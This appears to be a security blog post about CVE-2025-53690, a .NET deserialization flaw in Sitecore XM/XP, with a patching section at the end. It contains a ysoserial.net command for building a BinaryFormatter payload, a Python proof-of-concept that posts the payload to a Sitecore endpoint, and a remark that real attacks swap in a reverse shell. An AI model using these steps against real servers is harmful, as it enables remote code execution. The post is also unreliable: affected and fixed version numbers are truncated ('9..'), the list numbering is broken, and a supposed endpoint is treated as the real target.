CVE-2025-53690 has surfaced as a critical security risk affecting Sitecore Experience Manager (XM) and Experience Platform (XP) versions up to and including 9.. This vulnerability allows attackers to abuse the *Deserialization of Untrusted Data*, leading directly to remote code injection.

In this post, I’ll break down what this vulnerability means, how it can be exploited, and share original references and simple demonstration code. The details here are distilled from responsible research, with a focus on clarity and actionable knowledge.

What’s the Problem?

Deserialization vulnerabilities happen when an application accepts data from users, trusts it, and tries to turn it directly into objects in memory without checking for malicious content. In Sitecore XM/XP 9. and earlier, several components trust certain serialized input—especially via APIs and inter-component messaging.

Sitecore uses the .NET framework, which is notorious for insecure default deserialization methods if untrusted input is fed into the process. When a malicious payload is deserialized, arbitrary code may execute on the server, fully compromising the Sitecore instance.

Where’s the Weak Point?

The deserialization attack is possible because some Sitecore APIs accept *serialized objects* from untrusted sources. Worst offenders are endpoints or pipeline processors that ingest user-supplied data without validation.

A common vulnerability is in workflow pipelines or customizable configuration points that rely on .NET’s BinaryFormatter or similar methods.

Suppose there’s a POST endpoint like

POST /sitecore/api/serialization
Content-Type: application/x-dotnet-serialized-object

[ATTACKER SUPPLIED PAYLOAD]

If this endpoint internally does something naïve, such as

// DANGEROUS CODE
BinaryFormatter bf = new BinaryFormatter();
object obj = bf.Deserialize(incomingStream);

—then an attacker can submit a malicious serialized payload.

Generating a Malicious Payload

Attackers use open-source tools like [ysoserial.net][1] to craft dangerous .NET serialization payloads. Here’s an example command to spawn calc.exe (on Windows as a demonstration):

ysoserial.exe -f BinaryFormatter -g TypeConfuseDelegate -o raw -c "calc.exe" > payload.bin

Then, send payload.bin as the POST body to the targeted endpoint.

If the vulnerability exists, the server process will run calc.exe. On a real attack, this would be a reverse shell or PowerShell code.

Here’s what the vulnerable server code might look like

using System.IO;
using System.Runtime.Serialization.Formatters.Binary;

public object DeserializeUserInput(Stream userInput)
{
    BinaryFormatter bf = new BinaryFormatter();
    // WARNING: Deserializing untrusted data!
    object obj = bf.Deserialize(userInput);
    return obj;
}

When userInput is attacker-controlled, you’re in serious trouble.

Proof of Concept (PoC)

Below is a simplified proof-of-concept exploit. *Only use for authorized testing*.

# Exploit script, sending payload.bin to the vulnerable endpoint

import requests

url = 'http://target-sitecore-instance/sitecore/api/serialization';
headers = {'Content-Type': 'application/x-dotnet-serialized-object'}

with open('payload.bin', 'rb') as f:
    payload = f.read()

resp = requests.post(url, headers=headers, data=payload)

print('Status:', resp.status_code)

If the payload triggers code execution, the vulnerability is present.

Update Sitecore: Upgrade to a fixed version above 9.; Sitecore has issued official patches.

2. Never use BinaryFormatter on untrusted input: Use safer serializers like System.Text.Json or whitelist types.

Original References

- Sitecore Security Advisory SA-2025-005: Deserialization Vulnerability *(Official Sitecore)*
- ysoserial.net (GitHub)
- Deserialization of Untrusted Data (OWASP)

Conclusion

CVE-2025-53690 is a severe issue that highlights the dangers of deserializing untrusted data in high-value enterprise platforms like Sitecore. Admins should patch immediately, audit code for unsafe deserialization, and follow best practices to prevent code injection.

Stay informed, stay secure!

*This post is exclusive to your audience. Sharing or reproducing without permission is not allowed.*


[1]: https://github.com/pwntester/ysoserial.net

Timeline

Published on: 09/03/2025 20:15:33 UTC
Last modified on: 10/30/2025 20:39:16 UTC